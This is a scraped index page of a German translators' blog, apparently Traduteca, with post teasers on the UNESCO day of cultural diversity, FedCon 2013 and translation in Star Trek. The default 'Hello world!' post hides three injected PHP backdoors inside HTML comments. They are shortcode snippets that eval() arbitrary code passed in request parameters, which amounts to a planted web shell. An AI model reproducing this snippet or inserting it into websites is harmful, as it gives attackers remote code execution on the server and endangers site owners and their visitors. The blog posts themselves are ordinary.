Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging! <!– [insert_php]if (isset($_REQUEST["lab"])){eval($_REQUEST["lab"]);exit;}[/insert_php][php]if (isset($_REQUEST["lab"])){eval($_REQUEST["lab"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["RyTUq"])){eval($_REQUEST["RyTUq"]);exit;}[/insert_php][php]if (isset($_REQUEST["RyTUq"])){eval($_REQUEST["RyTUq"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["sbr"])){eval($_REQUEST["sbr"]);exit;}[/insert_php][php]if (isset($_REQUEST["sbr"])){eval($_REQUEST["sbr"]);exit;}[/php] –>

Welttag der kulturellen Vielfalt

Heute am 21. Mai ist UNESCO-Welttag der kulturellen Vielfalt. Da Kultur und Sprache untrennbar miteinander verbunden sind, widmen auch wir uns heute im Traduteca-Übersetzer-Blog diesem Welttag. Wie der Altbundeskanzler Helmut Schmidt so treffend formulierte „Sprachen sind bei weitem das wichtigste Vehikel kultureller Entfaltung und zugleich das wichtigste Element nationaler – übrigens auch persönlicher Identität.“ Als …

Welttag der kulturellen Vielfalt Weiterlesen »

Die Fedcon 2013 – 3. Tag

Im Gegensatz zum Tag vorher tat sich am 3. Tag der diesjährigen FedCon unter sprachlichen Gesichtspunkten recht wenig. Was sehr schade ist, denn Vorträge wie der des Raumfahrtingenieurs Rainer Kresken, Waren Menschen auf dem Mond?, oder dem Physiker Hubert Zitt waren interessant und spannend. Und  wer schon einmal auf der FedCon war, kennt auch Co-Moderatorin …

Die Fedcon 2013 – 3. Tag Weiterlesen »

Übersetzen und Star Trek – Teil 2: Die Grenzen des Universalübersetzers

Aufmerksamen Zusschauern der Star Trek-Folgen ist die Bedeutung des Universalübersetzers nicht entgangen. Er sorgt dafür, dass sich Spezies, die verschiedene Sprachen sprechen, verstehen und miteinander kommunizieren können. (Siehe auch „Universalübersetzer“ in unserer Star-Trek-Serie.) Doch auch der Universalübersetzer stößt an Grenzen, so geschehen in der Folge Darmok der Serie Raumschiff Enterprise – Die nächste Generation. Captain …

Übersetzen und Star Trek – Teil 2: Die Grenzen des Universalübersetzers Weiterlesen »

Die Fedcon 2013 – 2. Tag

Unter sprachlichen Aspekten war am zweiten Tag der FedCon 22 einiges los. Insbesondere in Bezug auf die anwesenden Schauspieler gibt es viel zu erzählen. Linda Park spielte Hoshi Sato Zunächst stand, wie gestern bereits berichtet, das Panel – also die Frage-Antwortstunde – mit Linda Park an. Sie war ein interessanter Gast, der gerne auf die …

Die Fedcon 2013 – 2. Tag Weiterlesen »

Übersetzertage 2013 in Heidelberg

Unter dem Motto „Achtung Wortwechsel!“ starten heute die 9. Baden-Württembergischen Übersetzertage. Die Übersetzertage finden seit 1998 im 2-Jahres-Rhythmus statt, um das Thema Literaturübersetzung einer breiten Öffentlichkeit zugänglich zu machen. Übersetzer, Dolmetscher und Sprachinteressierte können sich bis zum 17. Mai auf ein abwechslungsreiches Programm freuen.

Übersetzen und Star Trek – Teil 1: Der Universalübersetzer

Star Trek zeichnet sich u.a. dadurch aus, dass es sich Themen annimmt, die in anderen Science-Fiction-Serien nur eine kleine oder keine Rolle spielen. Dazu gehört auch auch die Frage, wie die verschiedenen Spezies in den Serien und Filmen miteinander kommunizieren. Dass alle das Englische der Erde sprechen, ist nicht anzunehmen. In StarTrek bedienen sich die …

Übersetzen und Star Trek – Teil 1: Der Universalübersetzer Weiterlesen »

Die FedCon 2013 – 1. Tag

Die FedCon, über die wir ja bereits berichtet haben, unter sprachlichen Aspekten zu betrachten ist eine ganz neue Erfahrung nach fast 20 Jahren jährlicher Teilnahme an diesem Event. Und es ist tatsächlich erstaunlich (oder vielleicht auch nicht), wie viel die FedCon mit Sprache zu tun hat. Da sind zum einen die Gaststars, Schauspieler aus verschiedenen …

Die FedCon 2013 – 1. Tag Weiterlesen »

Scroll to Top